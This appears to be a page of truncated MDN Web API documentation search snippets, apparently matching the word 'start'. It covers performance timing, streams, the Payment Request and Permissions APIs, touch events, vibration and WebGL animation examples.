... working draft ...
PannerNode.orientationZ - Web APIs
an audioparam whose value is the z component of the direction the audio source is facing, in 3d cartesian coordinate space. example in this example, we'll demonstrate how changing the orientation parameters of a pannernode in combination with coneinnerangle and coneouterangle affects volume. to help us visualise how the orientation vector affects, we can use the right-hand rule: first, let's
start by writing a utility function to figure out our orientation vector. the x and z components are always at a 90° to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians. however, normally this would mean the pannernode points to the left of the listener at 0° rotation – since `x = cos(0) = 1` and `z = sin(0) = 0`. it's more useful to offset the...
... working draft ...
... working draft ...
Using the Payment Request API - Web APIs
goods and services. this article is a guide to making use of the payment request api, with examples and suggested best practices. the basics of making a payment this section details the basics of using the payment request api to make a payment. note: the code snippets from this section are from our feature detect support demo. creating a new payment request object a payment request always
starts with the creation of a new paymentrequest object — using the paymentrequest() constructor. this takes two mandatory parameters and one option parameter: methoddata — an object containing information concerning the payment provider, such as what payment methods are supported, etc. details — an object containing information concerning the specific payment, such as the total payment amoun...
...this returns a promise that fulfills with a paymentresponse object if the payment is successful: request.show().then(function(paymentresponse) { // here we would process the payment. for this demo, simulate immediate success: paymentrespons...
...interaction has finished — you'd use this to carry out finishing steps, like updating the user interface to tell the user the transaction is complete, etc. other useful payment request methods there are some other useful payment request methods worth knowing about. paymentrequest.canmakepayment() can be used to check whether the paymentrequest object is capable of making a payment before you
start the payment process. it returns a promise that fulfills with a boolean indicating whether it is or not, for example: // dummy payment request to check whether payment can be made new paymentrequest(buildsupportedpaymentmethoddata(), {total: {label: 'stub', amount: {currency: 'usd', value: '0.01'}}}) .canmakepayment() .then(function(result) { if(result) { // re...
performance.measure() - Web APIs
the measure() method creates a named timestamp in the browser's performance entry buffer between marks, the navigation
start time, or the current time. when measuring between two marks, there is a
start mark and end mark, respectively. the named timestamp is referred to as a measure. the measure can be retrieved by one of the performance interfaces: (getentries(), getentriesbyname() or getentriesbytype()). the measure's performance entry will have the following property values: entrytype - set to "measure". name - set to the "name" given when the measure was created.
starttime - set to the
start mark timestamp. duration - set to a domhighrestimestamp that is the duration of the measure (typically, the end mark timestamp minus the
start mark timestamp). note: this feature is available...
...: entrytype - set to "measure". name - set to the "name" given when the measure was created.
starttime - set to the
start mark timestamp. duration - set to a domhighrestimestamp that is the duration of the measure (typically, the end mark timestamp minus the
start mark timestamp). note: this feature is available in web workers. syntax performance.measure(name); performance.measure(name,
startmark); performance.measure(name,
startmark, endmark); performance.measure(name, undefined, endmark); arguments name a domstring representing the name of the measure.
startmark optional a domstring representing the name of the measure's
starting mark. may also be the name of a performancetiming property. if it is omitted, then the
start time will be the navigation
start time. endmark optio...
...// run some nested timeouts, and create a performancemark for each. performance.mark(markernamea); settimeout(function() { performance.mark(markernameb); settimeout(function() { // create a variety of measurements. performance.measure("measure a to b", markernamea, markernameb); performance.measure("measure a to now", markernamea); performance.measure("measure from navigation
start to b", undefined, markernameb); performance.measure("measure from the
start of navigation to now"); // pull out all of the measurements. console.log(performance.getentriesbytype("measure")); // finally, clean up the entries. performance.clearmarks(); performance.clearmeasures(); }, 1000); }, 1000); specifications specification status comment ...
PerformanceEntry.duration - Web APIs
the duration property returns a timestamp that is the duration of the performance entry. note: this feature is available in web workers. the value returned by this property depends on the performance entry's type: "frame" - returns a timestamp indicating the difference between the
starttimes of two successive frames. "mark" - returns "0" (a mark has no duration). "measure" - returns the timestamp that is the duration of the measure. "navigation" - returns the timestamp that is the difference between the performancenavigationtiming.loadeventend and performanceentry.
starttime properties, respectively. "resource" - returns the difference between the resource's responseend timestamp and its
starttime timestamp. this property is read only . syntax entry.duration; return value a domhi...
...tamp representing the duration of the performance entry. if the duration concept doesn't apply for a particular performance metric, the browser may choose to return a duration of 0. note: if the performance entry has an entrytype of "resource" (i.e. the entry is a performanceresourcetiming object), this property returns the difference between the performanceentry.responseend and performanceentry.
starttime timestamps. example the following example shows the use of the duration property. function run_performanceentry() { log("performanceentry support ..."); if (performance.mark === undefined) { log("... performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end");...
...ome performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); check_performanceentry(p[i]); } } function check_performanceentry(obj) { var properties = ["name", "entrytype", "
starttime", "duration"]; var methods = ["tojson"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in obj; if (supported) log("..." + properties[i] + " = " + obj[properties[i]]); else log("..." + properties[i] + " = not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported ...
PerformanceEventTiming - Web APIs
the performanceeventtiming interface of the event timing api provides timing information for the event types listed below. auxclick beforeinput click compositionend composition
start compositionupdate contextmenu dblclick dragend dragenter dragleave dragover drag
start drop input keydown keypress keyup mousedown mouseenter mouseleave mouseout mouseover mouseup pointerover pointerenter pointerdown pointerup pointercancel pointerout pointerleave gotpointercapture lostpointercapture touch
start touchend touchcancel properties performanceeventtiming.processing
start returns the time at which event dispatch
started. performanceeventtiming.processingend returns the time at which the event dispatch ended. performanceeventtiming.cancelable returns t...
...he performanceeventtiming object to json. examples the following example shows how to use the api for all events: const observer = new performanceobserver(function(list) { const perfentries = list.getentries().foreach(entry => { // full duration const inputduration = entry.duration; // input delay (before processing event) const inputdelay = entry.processing
start - entry.
starttime; // synchronous event processing time (between
start and end dispatch). const inputsyncprocessingtime = entry.processingend - entry.processing
start; }); }); // register observer for event. observer.observe({entrytypes: ["event"]}); we can also directly query the first input delay. // keep track of whether (and when) the page was first hidden, see: // https...
... try/catch instead of feature detecting `first-input` // support, since some browsers throw when using the new `type` option. // https://bugs.webkit.org/show_bug.cgi?id=209216 try { function onfirstinputentry(entry) { // only report fid if the page wasn't hidden prior to // the entry being dispatched. this typically happens when a // page is loaded in a background tab. if (entry.
starttime < firsthiddentime) { const fid = entry.processing
start - entry.
starttime; // report the fid value to an analytics endpoint. sendtoanalytics({fid}); } } // create a performanceobserver that calls `onfirstinputentry` for each entry. const po = new performanceobserver((entrylist) => { entrylist.getentries().foreach(onfirstinputentry); }); // observe entries...
PerformanceObserverEntryList.getEntries() - Web APIs
itiatortype", the type of the initiating resource (for example an html element). the values are defined by the performanceresourcetiming.initiatortype interface. this parameter is currently not supported on chrome or opera. return value a list of explicitly observed performanceentry objects that meets the criteria of the filter. ...
...y objects that meets the criteria of the filter. the items will be in chronological order based on the entries'
starttime. if no objects that meet the filter are found, an empty list is returned. if no argument is given, all entries are returned. ...
...ts the criteria of the filter. the items will be in chronological order based on the entries'
starttime. if no objects that meet the filter are found, an empty list is returned. if no argument is given, all entries are returned. ...
PerformanceObserverEntryList.getEntriesByName() - Web APIs
representing the type of entry to retrieve such as "mark". the valid entry types are listed in performanceentry.entrytype. return value a list of explicitly observed performance entry objects that have the specified name and type. if the type argument is not specified, only the name will be used to determine the entries to return. ...
... if the type argument is not specified, only the name will be used to determine the entries to return. the items will be in chronological order based on the entries'
starttime. if no objects meet the specified criteria, an empty list is returned. ...
...ent is not specified, only the name will be used to determine the entries to return. the items will be in chronological order based on the entries'
starttime. if no objects meet the specified criteria, an empty list is returned. ...
PerformanceObserverEntryList.getEntriesByType() - Web APIs
his method is exposed to window and worker interfaces. syntax entries = list.getentriesbytype(type); parameters type the type of entry to retrieve such as "frame". the valid entry types are listed in performanceentry.entrytype. return value a list of explicitly observed performanceentry objects that have the specified type. ...
... of explicitly observed performanceentry objects that have the specified type. the items will be in chronological order based on the entries'
starttime. if no objects have the specified type, or no argument is provided, an empty list is returned. ...
...erved performanceentry objects that have the specified type. the items will be in chronological order based on the entries'
starttime. if no objects have the specified type, or no argument is provided, an empty list is returned. ...
Performance API - Web APIs
s (microseconds). however, if the browser is unable to provide a time value accurate to 5 microseconds (because, for example, due to hardware or software constraints), the browser can represent the value as a time in milliseconds accurate to a millisecond. methods the performance interface has two methods. the now() method returns a domhighrestimestamp whose value that depends on the navigation
start and scope. if the scope is a window, the value is the time the browser context was created and if the scope is a worker, the value is the time the worker was created. the tojson() method returns a serialization of the performance object, for those attributes that can be serialized. properties the performance interface has two properties. the timing property returns a performancetiming object c...
...e browser context was created and if the scope is a worker, the value is the time the worker was created. the tojson() method returns a serialization of the performance object, for those attributes that can be serialized. properties the performance interface has two properties. the timing property returns a performancetiming object containing latency-related performance information such as the
start of navigation time,
start and end times for redirects,
start and end times for responses, etc. the navigation property returns a performancenavigation object representing the type of navigation that occurs in the given browsing context, such as the page was navigated to from history, the page was navigated to by following a link, etc. interfaces performance provides methods and properties c...
... resource timing level 1 candidate recommendation adds the performanceresourcetiming interface. adds the clearresourcetimings() method, the setresourcetimingbuffersize() method, and the onresourcetimingbufferfull event handler to the performance interface. also adds the timing-allow-origin response header. resource timing level 2 working draft adds the nexthopprotocol, worker
start, transfersize, encodedbodysize, and decodedbodysize properties to the performanceresourcetiming interface. resource timing level 3 editor's draft user timing recommendation adds mark(), clearmarks(), measure() and clearmeasures() methods to the performance interface. adds the performancemark and peformancemeasure interfaces. user timing level 2 working d...
Using the Permissions API - Web APIs
ator.permissions property has been added to the browser to allow access to the global permissions object. this object will eventually include methods for querying, requesting, and revoking permissions, although currently it only contains permissions.query(); see below. querying permission state in our example, the permissions functionality is handled by one function — handlepermission(). this
starts off by querying the permission status using permissions.query(). depending on the value of the state property of the permissionstatus object returned when the promise resolves, it reacts differently: "granted" the "enable geolocation" button is hidden, as it isn't needed if geolocation is already active. "prompt" the "enable geolocation" button is hidden, as it isn't needed if the user wi...
...akes a permissiondescriptor dictionary as a parameter — this contains the name of the api you are interested in. some apis have more complex permissiondescriptors containing additional information, which inherit from the default permissiondescriptor. for example, the pushpermissiondescriptor should also contain a boolean that specifies if uservisibleonly is true or false. revoking permissions
starting in firefox 47, you can now revoke existing permissions, using the permissions.revoke() method. this works in exactly the same way as the permissions.query() method, except that it causes an existing permission to be reverted back to its default state when the promise successfully resolves (which is usually prompt). see the following code in our demo: var revokebtn = document.queryselector('.
...essfully resolves (which is usually prompt). see the following code in our demo: var revokebtn = document.queryselector('.revoke'); ... revokebtn.onclick = function() { revokepermission(); } ... function revokepermission() { navigator.permissions.revoke({name:'geolocation'}).then(function(result) { report(result.state); }); } the revoke() function has been disabled by default
starting in firefox 51, since its design has been brought into question in the web applications security working group. it can be re-enabled by setting the preference dom.permissions.revoke.enable to true. responding to permission state changes you'll notice that there is an onchange event handler in the code above, attached to the permissionstatus object — this allows us to respond to any changes...
RTCIceTransportState - Web APIs
"no more candidates" notification from the remote peer, and has finished checking pairs of candidates, without successfully finding a pair that is both valid and for which consent can be obtained. this is a terminal state, indicating that the connection cannot be achieved or maintained. "closed" the transport has shut down and is no longer responding to stun requests. ...
... checking pairs of candidates, without successfully finding a pair that is both valid and for which consent can be obtained. this is a terminal state, indicating that the connection cannot be achieved or maintained. "closed" the transport has shut down and is no longer responding to stun requests. ...
... and for which consent can be obtained. this is a terminal state, indicating that the connection cannot be achieved or maintained. "closed" the transport has shut down and is no longer responding to stun requests. usage notes if an ice re
start occurs, the candidate gathering and connectivity check process is
started over again; this will cause a transition from the "connected" state if the re
start occurred while the state was "completed". if the re
start occured during a transient "disconnected" state, the state transitions to "checking" the disconnected state "disconnected" is a transient state that occurs when the connection between the two peers fails in a manner that the webrtc infrastructure can automatically correct once the connection is available again. it is not a failure state.
RTCPeerConnection - Web APIs
should then be sent to the source of the offer to continue the negotiation process.createdatachannel() the createdatachannel() method on the rtcpeerconnection interface creates a new channel linked with the remote peer, over which any kind of data may be transmitted.createoffer()the createoffer() method of the rtcpeerconnection interface initiates the creation of an sdp offer for the purpose of
starting a new webrtc connection to a remote peer.generatecertificate()the generatecertificate() method of the rtcpeerconnection interface creates and stores an x.509 certificate and corresponding private key then returns an rtccertificate, providing access to it.getconfiguration() the rtcpeerconnection.getconfiguration() method returns an rtcconfiguration object which indicates the current configurat...
...this lets...
...this lets you change the ice servers used by the connection and which transpo...
Range.collapse() - Web APIs
if omitted, it defaults to false . ...
...if omitted, it defaults to false . ...
...if omitted, it defaults to false . ...
Range.compareNode() - Web APIs
obsolete since gecko 1.9 (firefox 3)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. the range.comparenode() returns a constant indicating the position of the node. the possible values are: node_before (0) node
starts before the range node_after (1) node ends after the range node_before_and_after (2) node
starts before and ends after the range node_inside (3) node
starts after and ends before the range, i.e. the node is completely selected by the range. warning: this method has been removed from gecko 1.9 (firefox 3) and will not exist in future versions of firefox, which was the only browser implementing it; you should switch to range.compareboundarypoints() as soon as pos...
...rowser implementing it; you should switch to range.compareboundarypoints() as soon as possible. ...
...plementing it; you should switch to range.compareboundarypoints() as soon as possible. the following function can be used as replacement: function rangecomparenode(range, node) { var noderange = node.ownerdocument.createrange(); try { noderange.selectnode(node); } catch (e) { noderange.selectnodecontents(node); } var nodeisbefore = range.compareboundarypoints(range.
start_to_
start, noderange) == 1; var nodeisafter = range.compareboundarypoints(range.end_to_end, noderange) == -1; if (nodeisbefore && !nodeisafter) return 0; if (!nodeisbefore && nodeisafter) return 1; if (nodeisbefore && nodeisafter) return 2; return 3; } syntax returnvalue = range.comparenode( referencenode ); parameters referencenode the node to compare with the range. exa...
ReadableStream.ReadableStream() - Web APIs
the readablestream() constructor creates and returns a readable stream object from the given handlers. syntax var readablestream = new readablestream(underlyingsource[, queuingstrategy]); parameters underlyingsource an object containing methods and properties that define how the constructed stream instance will behave. underlyingsource can contain the following:
start(controller) this is a method, called immediately when the object is constructed. the contents of this method are defined by the developer, and should aim to get access to the stream source, and do anything else required to set up the stream fuctionality. if this process is to be done asynchronously, it can return a promise to signal success or failure. the controller parameter passed to this method is a readablestrea...
...plied, the default used is the same as a countqueuingstrategy with a high water mark of 1. return value an instance of the readablestream object. exceptions rangeerror the supplied type value is neither "bytes" nor undefined. examples in the following simple example, a custom readablestream is created using a constructor (see our simple random stream example for the full code). the
start() function generates a random string of text every second and enqueues it into the stream. a cancel() fuction is also provided to stop the generation if readablestream.cancel() is called for any reason. when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream. ...
...f text every second and enqueues it into the stream. a cancel() fuction is also provided to stop the generation if readablestream.cancel() is called for any reason. when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream. ...
ReportingObserver - Web APIs
the reportingobserver interface of the reporting api allows you to collect and access reports. constructor reportingobserver() creates a new reportingobserver object instance, which can be used to collect and access reports. properties this interface has no properties defined on it. methods reportingobserver.disconnect() stops a reporting observer that had previously
started observing from collecting reports. reportingobserver.observe() instructs a reporting observer to
start collecting reports in its report queue. reportingobserver.takerecords() returns the current list of reports contained in the observer's report queue, and empties the queue. events this interface has no events that fire on it. examples in our deprecation_report.html example, we create a simp...
...erface has no events that fire on it. ...
...e, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to
start observing reports using reportingobserver.observe(); this tells the observer to
start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); later on in the example we deliberately use the deprecated version of mediadevices.getusermedia(): if(navigator.mozgetusermedia) { navigator.mozgetusermedia( constraints, success, failure); } else { navigator.getusermedia( constraints, success, ...
Sensor APIs - Web APIs
r', event => { // handle runtime errors. if (event.error.name === 'notallowederror') { // branch to code for requesting permission. } else if (event.error.name === 'notreadableerror' ) { console.log('cannot connect to the sensor.'); } }); accelerometer.addeventlistener('reading', () => reloadonshake(accelerometer)); accelerometer.
start(); } catch (error) { // handle construction errors. if (error.name === 'securityerror') { // see the note above about feature policy. console.log('sensor construction was blocked by a feature policy.'); } else if (error.name === 'referenceerror') { console.log('sensor is not supported by the user agent.'); } else { throw error; } } permissions ...
...ore attempting to use the sensor. navigator.permissions.query({ name: 'accelerometer' }) .then(result => { if (result.state === 'denied') { console.log('permission to use accelerometer sensor is denied.'); return; } // use the sensor. }); an alternative approach is to attempt to use the error and listen for the securityerror. const sensor = new absoluteorientationsensor(); sensor.
start(); sensor.onerror = event => { if (event.error.name === 'securityerror') console.log("no permissions to use absoluteorientationsensor."); }; the following table describes for each sensor type, the name required for the permissions api, the <iframe> element's allow attribute and the feature-policy directive. sensor permissions sensor permission/feature policy name ...
... accelerometersecure context provides the acceleration applied to the device along all three axes. ambientlightsensorsecure context returns the current light level or illuminance of the ambient light around the hosting device. gyroscop...
SourceBuffer.removeAsync() - Web APIs
end a double representing the end of the time range, in seconds. ...
... end a double representing the end of the time range, in seconds. return value a promise whose fulfillment handler is executed once the buffers in the specified time range have been removed from the sourcebuffer. ...
...s the process of asynchronously removing from the sourcebuffer media segments found within a specific time range. a promise is returned, which is fulfilled when the buffers in the specified time range have been removed. this method can only be called when updating is false. if that's not the case, call abort() instead. syntax removepromise = sourcebuffer.removeasync(
start, end); parameters
start a double representing the
start of the time range, in seconds. end a double representing the end of the time range, in seconds. return value a promise whose fulfillment handler is executed once the buffers in the specified time range have been removed from the sourcebuffer. example this example establishes an asynchronous function, emptysourcebuffer(), which simply clears the contents of ...
SourceBuffer - Web APIs
troke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sourcebuffer</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties sourcebuffer.appendwindowend controls the timestamp for the end of the append window. sourcebuffer.appendwindow
start controls the timestamp for the
start of the append window. this is a timestamp range that can be used to filter what media data is appended to the sourcebuffer. coded media frames with timestamps within this range will be appended, whereas those outside the range will be filtered out. sourcebuffer.audiotracks read only a list of the audio tracks currently contained inside the sourcebuffer. s...
... from true to false. sourcebuffer.onupdate fired whenever sourcebuffer.appendbuffer() method or the sourcebuffer.remove() completes. sourcebuffer.updating changes from true to false. this event is fired before onupdateend. sourcebuffer.onupdateend fired whenever sourcebuffer.appendbuffer() method or the sourcebuffer.remove() has ended. this event is fired after onupdate. sourcebuffer.onupdate
start fired whenever the value of sourcebuffer.updating transitions from false to true. methods inherits methods from its parent interface, eventtarget. sourcebuffer.abort() aborts the current segment and resets the segment parser. sourcebuffer.appendbuffer() appends media segment data from an arraybuffer or arraybufferview object to the sourcebuffer. sourcebuffer.appendbufferasync() star...
...d once the buffer has been appended. sourcebuffer.appendstream() appends media segment data from a readablestream object to the sourcebuffer. sourcebuffer.changetype() changes the mime type that future calls to appendbuffer() will expect the new data to conform to. sourcebuffer.remove() removes media segments within a specific time range from the sourcebuffer. sourcebuffer.removeasync()
starts the process of asynchronously removing media segments in the specified range from the sourcebuffer. returns a promise which is fulfilled once all matching segments have been removed. examples the following simple example loads a video chunk by chunk as fast as possible, playing it as soon as it can. this example was written by nick desaulniers and can be viewed live here (you can also downloa...
Using writable streams - Web APIs
he whole message on the ui when writing has finished. how writable streams work let’s look at how the writable stream functionality in our demo works. constructing a writable stream to create a writable stream, we use the writablestream() constructor; the syntax looks complex at first, but actually isn’t too bad. the syntax skeleton looks like this: const stream = new writablestream({
start(controller) { }, write(chunk,controller) { }, close(controller) { }, abort(reason) { } }, { highwatermark, size() }); the constructor takes two objects as parameters. the first object is required, and creates a model in javascript of the underlying sink the data is being written to. the second object is optional, and allows you to specify a custom queueing strategy to use f...
...ers. the first object is required, and creates a model in javascript of the underlying sink the data is being written to. the second object is optional, and allows you to specify a custom queueing strategy to use for your stream, which takes the form of an instance of bytelengthqueuingstrategy or countqueuingstrategy. the first object can contain up to four members, all of which are optional:
start(controller) — a method that is called once, immediately after the writablestream is constructed. inside this method, you should include code that sets up the stream functionality, e.g. getting access to the underlying sink. write(chunk,controller) — a method that is called repeatedly every time a new chunk is ready to be written to the underlying sink (specified in the chunk parameter). clo...
...check once more, to check that the last chunk has finished being written and all the work is done. when this ready check fulfills, we invoke writablestreamdefaultwriter.close() to close the stream. this also triggers the close() method specified inside the writablestream() constructor, as discussed above. controllers as you'll have noticed when studying the writablestream() syntax skeleton, the
start(), write(), and close() methods can optionally have a controller parameter passed to them. this contains an instance of the writablestreamdefaultcontroller interface, which can be used by the developer to further control the stream as required. this currently only has one method available on it — writablestreamdefaultcontroller.error(), which when invoked causes future interactions with the st...
Touch.target - Web APIs
note that if the target element is removed from the document, events will still be targeted at it, and hence won't necessarily bubble up to the window or document anymore. if there is any risk of an element being removed while it is being touched, the best practice is to attach the touch listeners directly to the target. syntax var el = touchpoint.target; return value el the target element of the touch object. ...
...f an element being removed while it is being touched, the best practice is to attach the touch listeners directly to the target. syntax var el = touchpoint.target; return value el the target element of the touch object. example this example illustrates how to access the touch object's touch.target property. the touch.target property is an element (eventtarget) on which a touch point is
started when contact is first placed on the surface. in following simple code snippet, we assume the user initiates one or more touch contacts on the source element. when the touch
start event handler for this element is invoked, each touch point's touch.target property is accessed via the event's touchevent.targettouches list. // register a touchmove listener for the 'source' element var src = docume...
...wing simple code snippet, we assume the user initiates one or more touch contacts on the source element. when the touch
start event handler for this element is invoked, each touch point's touch.target property is accessed via the event's touchevent.targettouches list. // register a touchmove listener for the 'source' element var src = document.getelementbyid("source"); src.addeventlistener('touch
start', function(e) { // iterate through the touch points that were activiated // for this element. for (var i=0; i < e.targettouches.length; i++) { console.log("touchpoint[" + i + "].target = " + e.targettouches[i].target); } }, false); specifications specification status comment touch events – level 2 draft non-stable version. touch events r...
TouchList.item() - Web APIs
in the range of 0 to one less than the length of the touchlist. return value touchpoint the requested touch object from the touchlist. returns null if the index is not less than the length of the list. example this code example illustrates the use of the touchlist interface's item method and the length property. ...
...ngth of the touchlist. return value touchpoint the requested touch object from the touchlist. returns null if the index is not less than the length of the list. example this code example illustrates the use of the touchlist interface's item method and the length property. ...
...touchlist. return value touchpoint the requested touch object from the touchlist. returns null if the index is not less than the length of the list. example this code example illustrates the use of the touchlist interface's item method and the length property. ...
TouchList.length - Web APIs
length read-only property indicates the number of items (touch points) in a given touchlist. syntax var numtouches = touchlist.length; return value numtouches the number of touch points in touchlist. example this code example illustrates the use of the touchlist interface's item method and the length property. ...
...umber of items (touch points) in a given touchlist. syntax var numtouches = touchlist.length; return value numtouches the number of touch points in touchlist. example this code example illustrates the use of the touchlist interface's item method and the length property. ...
...ms (touch points) in a given touchlist. syntax var numtouches = touchlist.length; return value numtouches the number of touch points in touchlist. example this code example illustrates the use of the touchlist interface's item method and the length property. ...
Supporting both TouchEvent and MouseEvent - Web APIs
irements regarding touch and mouse interaction (see the interaction with mouse events and click section for details), noting the browser may fire both touch events and mouse events in response to the same user input. this section describes the requirement that may affect an application. if the browser fires both touch and mouse events because of a single user input, the browser must fire a touch
start before any mouse events. consequently, if an application does not want mouse events fired on a specific touch target element, the element's touch event handlers should call preventdefault() and no additional mouse events will be dispatched. here is a code snippet of the touchmove event handler calling preventdefault(). // touchmove handler function process_touchmove(ev) { // call preventdefau...
... here is a code snippet of the touchmove event handler calling preventdefault(). ...
.../ call preventdefault() to prevent any further handling ev.preventdefault(); } event order although the specific ordering of touch and mouse events is implementation-defined, the standard indicates the following order is typical: for single input: touch
start zero or more touchmove events, depending on movement of the finger(s) touchend mousemove mousedown mouseup click if the touch
start, touchmove or touchend event is canceled during an interaction, no mouse or click events will be fired, and the resulting sequence of events would just be: touch
start zero or more touchmove events, depending on movement of the finger(s) touchend community touch events community group mail list w3c #touchevents irc channel related topics and resources touch events overview using ...
TransformStream - Web APIs
tream object from the given handlers. properties transformstream.readable read only the readable end of a transformstream. transformstream.writable read only the writable end of a transformstream. methods none examples anything-to-uint8array stream in the following example, a transform stream passes through all chunks it receives as uint8array values. const transformcontent = {
start() {}, // required. async transform(chunk, controller) { chunk = await chunk switch (typeof chunk) { case 'object': // just say the stream is done i guess if (chunk === null) controller.terminate() else if (arraybuffer.isview(chunk)) controller.enqueue(new uint8array(chunk.buffer, chunk.byteoffset, chunk.bytelength)) else if (array.isarray(...
...hunk))) break }, flush() { /* do any destructor work here */ } } class anytou8stream extends transformstream { constructor() { super({...transformcontent, textencoder: new textencoder()}) } } polyfilling textencoderstream and textdecoderstream note that this is deprecated by the native constructors. this is intended as a polyfill for unsupported platforms. ...
...chunk, controller) { controller.enqueue(this.encoder.encode(chunk)) } } let _jstes_wm = new weakmap(); /* info holder */ class jstextencoderstream extends transformstream { constructor() { let t = {...tes} super(t) _jstes_wm.set(this, t) } get encoding() {return _jstes_wm.get(this).encoder.encoding} } similarly, textdecoderstream can be written as such: const tes = {
start(){ this.decoder = new textdecoder(this.encoding, this.options) }, transform(chunk, controller) { controller.enqueue(this.decoder.decode(chunk)) } } let _jstds_wm = new weakmap(); /* info holder */ class jstextdecoderstream extends transformstream { constructor(encoding = 'utf-8', {...options} = {}) { let t = {...tds, encoding, options} super(t) _jstes_wm.set(this, t) ...
Vibration API - Web APIs
nce the vibration automatically stops at the end of each vibration period. canceling existing vibrations calling navigator.vibrate() with a value of 0, an empty array, or an array containing all zeros will cancel any currently ongoing vibration pattern. ...
...end of each vibration period. canceling existing vibrations calling navigator.vibrate() with a value of 0, an empty array, or an array containing all zeros will cancel any currently ongoing vibration pattern. ...
...setinterval and clearinterval action will allow you to create persistent vibration: var vibrateinterval; //
starts vibration at passed in level function
startvibrate(duration) { navigator.vibrate(duration); } // stops vibration function stopvibrate() { // clear interval and stop persistent vibrating if(vibrateinterval) clearinterval(vibrateinterval); navigator.vibrate(0); } //
start persistent vibration at given duration and interval // assumes a number value is given function
startpersistentvibrate(duration, interval) { vibrateinterval = setinterval(function() {
startvibrate(duration); }, interval); } of course, the snippet above doesn't take into account the array method of vibration; persistent array-based vibration will require calculating the sum of the...
WebGLRenderingContext - Web APIs
to get an access to a webgl context for 2d and/or 3d graphics rendering, call getcontext() on a <canvas> element, supplying "webgl" as the argument: var canvas = document.getelementbyid('mycanvas'); var gl = canvas.getcontext('webgl'); once you have the webgl rendering context for a canvas, you can render within it. the webgl tutorial has more information, examples, and resources on how to get
started with webgl. if you require a webgl 2.0 context, see webgl2renderingcontext; this supplies access to an implementation of opengl es 3.0 graphics. constants see the webgl constants page. the webgl context the following properties and methods provide general information and functionality to deal with the webgl context: webglrenderingcontext.canvas a read-only back-reference to the htmlca...
...utes object that contains the actual context parameters. might return null, if the context is lost. webglrenderingcontext.iscontextlost() returns true if the context is lost, otherwise returns false. webglrenderingcontext.makexrcompatible() ensures the context is compatible with the user's xr hardware, re-creating the context if necessary with a new configuration to do so. this can be used to
start an application using standard 2d presentation, then transition to using a vr or ar mode later. viewing and clipping webglrenderingcontext.scissor() defines the scissor box. webglrenderingcontext.viewport() sets the viewport. state information webglrenderingcontext.activetexture() selects the active texture unit. webglrenderingcontext.blendcolor() sets the source and destination bl...
...enderingcontext.stencilop() sets both the front and back-facing stencil test actions. webglrenderingcontext.stencilopseparate() sets the front and/or back-facing stencil test actions. buffers webglrenderingcontext.bindbuffer() binds a webglbuffer object to a given target. webglrenderingcontext.bufferdata() updates buffer data. webglrenderingcontext.buffersubdata() updates buffer data
starting at a passed offset. webglrenderingcontext.createbuffer() creates a webglbuffer object. webglrenderingcontext.deletebuffer() deletes a webglbuffer object. webglrenderingcontext.getbufferparameter() returns information about the buffer. webglrenderingcontext.isbuffer() returns a boolean indicating if the passed buffer is valid. framebuffers webglrenderingcontext.bindframebuffer() b...
Scissor animation - Web APIs
nable(gl.scissor_test); gl.clearcolor(color[0], color[1], color[2], 1.0); // unlike the browser window, vertical position in webgl is // measured from bottom to top. in here we set the initial // position of the square to be at the top left corner of the // drawing buffer. ...
...or[2], 1.0); // unlike the browser window, vertical position in webgl is // measured from bottom to top. in here we set the initial // position of the square to be at the top left corner of the // drawing buffer. ...
...nimation(evt) { button.removeeventlistener(evt.type,
startanimation, false); button.addeventlistener("click", stopanimation, false); document.queryselector("strong").innerhtml = "stop"; timer = setinterval(drawanimation, 17); drawanimation(); } function stopanimation(evt) { button.removeeventlistener(evt.type, stopanimation, false); button.addeventlistener("click",
startanimation, false); document.queryselector("strong").innerhtml = "
start"; clearinterval(timer); } stopanimation({type: "click"}); } // variables to hold the size and velocity of the square. var size = [60, 60], velocity = 3.0; function drawanimation () { gl.scissor(position[0], position[1], size[0] , size[1]); gl.clear(gl.color_buffer_bit); // every frame the vertical position ...
Simple color animation - Web APIs
« previousnext » a very basic color animation created using webgl, performed by clearing the drawing buffer with a different random color every second. color animation with clear this example provides a simple illustration of color animation with webgl, as well as user interaction. the user can
start, stop and re
start the animation by clicking the button. this time we put the webgl function calls within a timer event handler. a click event handler additionally enables the basic user interaction of
starting and stopping the animation. the timer and the timer handler function establish the animation loop, a set of drawing commands that are executed at a regular period (typically, every frame; in this case, once per second). <p>a simple webgl program that shows color animati...
... margin : auto; padding : 0.6em; } window.addeventlistener("load", function setupanimation (evt) { "use strict" window.removeeventlistener(evt.type, setupanimation, false); // a variable to hold a timer that drives the animation. var timer; // click event handlers. var button = document.queryselector("#animation-onoff"); var verb = document.queryselector("strong"); function
startanimation(evt) { button.removeeventlistener(evt.type,
startanimation, false); button.addeventlistener("click", stopanimation, false); verb.innerhtml="stop"; // setup animation loop by redrawing every second. timer = setinterval(drawanimation, 1000); // give immediate feedback to user after clicking, by // drawing one animation frame. drawanimation(); } function ...
...panimation, false); verb.innerhtml="stop"; // setup animation loop by redrawing every second. timer = setinterval(drawanimation, 1000); // give immediate feedback to user after clicking, by // drawing one animation frame. drawanimation(); } function stopanimation(evt) { button.removeeventlistener(evt.type, stopanimation, false); button.addeventlistener("click",
startanimation, false); verb.innerhtml="
